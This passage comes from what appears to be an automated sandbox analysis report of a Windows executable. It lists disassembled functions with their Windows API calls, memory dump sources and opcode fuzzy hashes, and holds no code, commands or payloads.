                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2780335769-0
                                                                                                                                                                                                                                              • Opcode ID: 76e5ec389a761054d6dca2d633b3b1debb0125942bc8cb6b4d903665fcb6299d
                                                                                                                                                                                                                                              • Instruction ID: a6730bcf2dc58bb56bfd2e92f9afbb0240481bfb925374114b5bfc2a9f8b6515
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 76e5ec389a761054d6dca2d633b3b1debb0125942bc8cb6b4d903665fcb6299d
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B7516D72E18681CAFB14DF71E8503BD63B1AB48B98F148635DE4D9F689DF3AD4418B10
                                                                                                                                                                                                                                              Function 00007FF666DE5698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1279662727-0
                                                                                                                                                                                                                                              • Opcode ID: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
                                                                                                                                                                                                                                              • Instruction ID: cddc4e60a14b32d84a2e640ffe163e974fba6a1db3a6380049cfe1b9836ad318
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 60418132E187C2C3E7509B20A550369B270FB947A4F109335EA5C4FAD2DF7EA5E08B50
                                                                                                                                                                                                                                              Function 00007FF666DDCCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3251591375-0
                                                                                                                                                                                                                                              • Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                              • Instruction ID: 064542a3fcfa7525ed12d26f6547477e9651809b8d17569ec2ecdb9cbe0c9103
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 34314520E8D243C5FE24BB64F8623B926B5AF85384F444634E94ECF2D7DE2EA4448F41
                                                                                                                                                                                                                                              Function 00007FF666DE9AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1703294689-0
                                                                                                                                                                                                                                              • Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                              • Instruction ID: 937936ef325274a24ffe4f5ee915a418428bb403bd67af5bb2d6319fe4b4e38e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E3D09E10F49B86C2EB143B70BC9947852716F88741F14563CC80B8E3D3DD3EE4494B00
                                                                                                                                                                                                                                              Function 00007FF666DE01AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
                                                                                                                                                                                                                                              • Instruction ID: 776034cbc19b2904321b08dd9fbb6d038ab8ad7387f795c2c35250e70809938a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3051B561A096C2C6E7649A65B400A7AA2B1BF44BE4F188734DE6DCF7C5CF3EE411CE50
                                                                                                                                                                                                                                              Function 00007FF666DEC1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2976181284-0
                                                                                                                                                                                                                                              • Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                              • Instruction ID: 12806d8c0824dee841d35aead9057e84ee64b4ec64e7a0c937b77118875a9501
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5411C162B18A81C1DA208B65B814169B771BB85BF4F544331EE7D8F7E9DE7DD0518B00
                                                                                                                                                                                                                                              Function 00007FF666DE5994 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF666DE58A9), ref: 00007FF666DE59C7
                                                                                                                                                                                                                                              • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF666DE58A9), ref: 00007FF666DE59DD
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Time$System$FileLocalSpecific
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1707611234-0
                                                                                                                                                                                                                                              • Opcode ID: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
                                                                                                                                                                                                                                              • Instruction ID: 0cd7a294a74dab0330b26af10c701832e15882092001d228c12352c8cd2d3a1b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3eb82881f56b5e10c0b4ae1229c4961d4f4fc58e8f6ff53d00dfea58f30bf4d5
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 00118C7265C682C2EA548B10B44117AF7B0EB847A1F500336FA99CDAD8EF3EE014CF00
                                                                                                                                                                                                                                              Function 00007FF666DEA9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • RtlFreeHeap.NTDLL(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9CE
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9D8
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 485612231-0
                                                                                                                                                                                                                                              • Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                              • Instruction ID: 79955e2cf9e0982ba65bec905c50c1e625c127610caa2a5eefa50cdb24d45bd3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1DE08C50F09683C3FF08ABB2B84513852B16FC8B40F484230D81DCE2A2EE3EA8858B10
                                                                                                                                                                                                                                              Function 00007FF666DEABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,00007FF666DEAA45,?,?,00000000,00007FF666DEAAFA), ref: 00007FF666DEAC36
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF666DEAA45,?,?,00000000,00007FF666DEAAFA), ref: 00007FF666DEAC40
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 918212764-0
                                                                                                                                                                                                                                              • Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                              • Instruction ID: 552675e110eb2b940b2b8a8928a6906de9718c8e2fa8bb36ba7e62e27fe78fbc
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5B218125F1C6C7C2EE945761B49027D96B29F84BA0F0C4339EA2ECF3C1CE6EA4458B01
                                                                                                                                                                                                                                              Function 00007FF666DEBF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 77f2f9c0c3853e5df4dc99a11e1b25eaa2aec769d06f52d5773e5caefc843251
                                                                                                                                                                                                                                              • Instruction ID: deb9ab187b80cb0699a23465ee620cd23d70e8a1858640638cab54a280e6f7f2
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 77f2f9c0c3853e5df4dc99a11e1b25eaa2aec769d06f52d5773e5caefc843251
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AF419F32908682C7EA349A1AB541279B7B4EB55B94F144231DA9ECE6D1CF2FF402CF51
                                                                                                                                                                                                                                              Function 00007FF666DD7F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _fread_nolock
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 840049012-0
                                                                                                                                                                                                                                              • Opcode ID: 7d2ffc6bbc79ae5a2c74bce1da3196692eb5c07e0d710da80585856a36faa807
                                                                                                                                                                                                                                              • Instruction ID: e271347bc939990a7ace7ca3678d0fcd78ff9fbe818d0d09e3f14481ba10c727
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7d2ffc6bbc79ae5a2c74bce1da3196692eb5c07e0d710da80585856a36faa807
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F721A021B09692D6EA11BA2379047BA9661BF49BC4F8C5530EE0D8F786CE3EE041CF40
                                                                                                                                                                                                                                              Function 00007FF666DEB9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
                                                                                                                                                                                                                                              • Instruction ID: 97565170941f52adea84567b27adddac53bb73bb27993713d94d50fdaa58996e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E7318F32E18682C5EB515B55A84177CA670AF40B94F424335E96D9F3D2CFBEF8418F21
                                                                                                                                                                                                                                              Function 00007FF666DE99D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3947729631-0
                                                                                                                                                                                                                                              • Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                              • Instruction ID: 3dc7d1f082adc181e6822b891a62c9fe84c99ae233b9c76964ac579678a17ae7
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B0215A32E06682CAEB248F64E4846BC73B4EB44718F444636D62D8EAD5DF79D584CB40
                                                                                                                                                                                                                                              Function 00007FF666DE6004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
